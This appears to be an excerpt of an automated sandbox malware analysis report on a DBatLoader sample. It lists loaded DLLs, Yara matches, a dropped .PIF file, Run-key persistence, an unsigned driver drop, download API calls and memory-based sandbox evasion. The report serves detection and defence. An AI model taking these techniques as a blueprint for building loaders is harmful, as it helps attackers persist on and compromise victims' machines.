Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: smartscreenps.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: smartscreenps.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: smartscreenps.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: ??????????.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: ??l.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: ????.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: ???e???????????.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: ???e???????????.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: ??l.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: ??l.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: tquery.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: spp.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: spp.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: endpointdlp.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: endpointdlp.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: endpointdlp.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: endpointdlp.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: advapi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: advapi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: advapi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: advapi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: advapi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: advapi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: advapi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: spp.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: sppwmi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: sppcext.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: winscard.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\SysWOW64\colorcpl.exe	Section loaded: colorui.dll	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	Section loaded: mscms.dll	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	Section loaded: coloradapterclient.dll	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: version.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: olepro32.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: url.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: smartscreenps.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: smartscreenps.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: smartscreenps.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: ??????????.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: ??l.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: ????.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: ???e???????????.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: ???e???????????.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: ??l.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: ??l.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: tquery.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: spp.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: spp.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: endpointdlp.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: endpointdlp.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: endpointdlp.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: endpointdlp.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: advapi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: advapi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: advapi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: advapi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: advapi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: advapi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: advapi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: spp.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: sppwmi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: sppcext.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: winscard.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	Section loaded: colorui.dll	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	Section loaded: mscms.dll	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	Section loaded: coloradapterclient.dll	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	Section loaded: kernel.appcore.dll	Jump to behavior

Source: C:\Users\user\Desktop\SEPTobn3BR.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: SEPTobn3BR.exe

Static file information: File size 1362944 > 1048576

Source:	Binary string: E:\Adlice\Truesight\x64\Release\truesight.pdb source: SEPTobn3BR.exe, 00000000.00000003.1403402097.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EBF2000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1441622729.0000000021CD0000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402765851.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1450958581.000000007F192000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EB73000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1403402097.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1439132054.0000000020A09000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 00000007.00000003.1519315775.0000000000842000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 00000007.00000002.1542737572.0000000020A30000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.1597805485.00000000007BE000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.1597805485.0000000000816000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: easinvoker.pdb source: SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EB60000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1439132054.00000000209F6000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EB73000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1450958581.000000007F110000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1439132054.0000000020A09000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 00000007.00000002.1542737572.0000000020A30000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: easinvoker.pdbGCTL source: SEPTobn3BR.exe, 00000000.00000003.1403060666.0000000021B12000.00000004.00000020.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EB60000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1439132054.00000000209F6000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1403060666.0000000021B41000.00000004.00000020.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EB73000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1450958581.000000007F110000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1439132054.0000000020A09000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 00000007.00000003.1518883152.0000000000843000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 00000007.00000003.1518883152.0000000000872000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 00000007.00000002.1542737572.0000000020A30000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.1597805485.00000000007BE000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.1597805485.00000000007EE000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Yara detected DBatLoader

Source: Yara match	File source: 0.2.SEPTobn3BR.exe.2b80000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1421740936.00000000022C6000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1334500441.000000007FB00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1452056215.000000007FBD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\SEPTobn3BR.exe

Code function: 0_2_02B987A0 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_02B987A0

Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: 0_2_02BAC2FC push 02BAC367h; ret	0_2_02BAC35F
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: 0_2_02B8635A push 02B863B7h; ret	0_2_02B863AF
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: 0_2_02B8635C push 02B863B7h; ret	0_2_02B863AF
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: 0_2_02BAC0AC push 02BAC125h; ret	0_2_02BAC11D
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: 0_2_02BAC1F8 push 02BAC288h; ret	0_2_02BAC280
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: 0_2_02C36194 push eax; ret	0_2_02C361B2
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: 0_2_02C14162 push ecx; ret	0_2_02C14175
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: 0_2_02BAC144 push 02BAC1ECh; ret	0_2_02BAC1E4
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: 0_2_02B986C0 push 02B98702h; ret	0_2_02B986FA
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: 0_2_02B8673E push 02B86782h; ret	0_2_02B8677A
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: 0_2_02B86740 push 02B86782h; ret	0_2_02B8677A
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: 0_2_02B8C4F4 push ecx; mov dword ptr [esp], edx	0_2_02B8C4F9
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: 0_2_02B9E5B4 push ecx; mov dword ptr [esp], edx	0_2_02B9E5B9
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: 0_2_02B8CB74 push 02B8CCFAh; ret	0_2_02B8CCF2
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: 0_2_02B8CB56 push 02B8CCFAh; ret	0_2_02B8CCF2
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: 0_2_02B968D0 push 02B9697Bh; ret	0_2_02B96973
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: 0_2_02B968CE push 02B9697Bh; ret	0_2_02B96973
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: 0_2_02B9A920 push 02B9A958h; ret	0_2_02B9A950
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: 0_2_02B98918 push 02B98950h; ret	0_2_02B98948
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: 0_2_02B9A91F push 02B9A958h; ret	0_2_02B9A950
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: 0_2_02B98916 push 02B98950h; ret	0_2_02B98948
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: 0_2_02B92EE8 push 02B92F5Eh; ret	0_2_02B92F56
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: 0_2_02B92FF3 push 02B93041h; ret	0_2_02B93039
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: 0_2_02B92FF4 push 02B93041h; ret	0_2_02B93039
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: 0_2_02B832FC push eax; ret	0_2_02B83338
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: 0_2_02B8D528 push 02B8D554h; ret	0_2_02B8D54C
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: 0_2_02BABB6C push 02BABD94h; ret	0_2_02BABD8C
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: 0_2_02B97894 push 02B97911h; ret	0_2_02B97909
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: 0_2_02C35872 push ecx; ret	0_2_02C35885
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: 0_2_02B95E04 push ecx; mov dword ptr [esp], edx	0_2_02B95E06
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 5_2_030E42E6 push ecx; ret	5_2_030E42F9

Persistence and Installation Behavior

Drops PE files with a suspicious file extension

Source: C:\Users\user\Desktop\SEPTobn3BR.exe

File created: C:\Users\Public\Libraries\Emxwenem.PIF

Jump to dropped file

Sample is not signed and drops a device driver

Source: C:\Users\user\Desktop\SEPTobn3BR.exe	File created: C:\Windows \SysWOW64\truesight.sys	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	File created: C:\Windows \SysWOW64\truesight.sys	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	File created: C:\Windows \SysWOW64\truesight.sys	Jump to behavior

Source: C:\Windows\SysWOW64\colorcpl.exe

Code function: 5_2_030963C6 ShellExecuteW,URLDownloadToFileW,

5_2_030963C6

Source: C:\Users\user\Desktop\SEPTobn3BR.exe

File created: C:\Users\Public\Libraries\Emxwenem.PIF

Jump to dropped file

Source: C:\Windows\SysWOW64\colorcpl.exe

Code function: 5_2_030A8A00 OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,

5_2_030A8A00

Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Emxwenem			Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Emxwenem			Jump to behavior

Source: C:\Users\user\Desktop\SEPTobn3BR.exe

Code function: 0_2_02B9A95C GetModuleHandleA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_02B9A95C

Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Allocates many large memory junks

Source: C:\Users\Public\Libraries\Emxwenem.PIF	Memory allocated: 2C30000 memory commit 500006912	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Memory allocated: 2C31000 memory commit 500178944	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Memory allocated: 2C5C000 memory commit 500002816	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Memory allocated: 2C5D000 memory commit 500199424	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Memory allocated: 2C8E000 memory commit 501014528	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Memory allocated: 2D86000 memory commit 500006912	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Memory allocated: 2D88000 memory commit 500015104	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Memory allocated: 2B80000 memory commit 500006912	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Memory allocated: 2B81000 memory commit 500178944	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Memory allocated: 2BAC000 memory commit 500002816	Jump to behavior
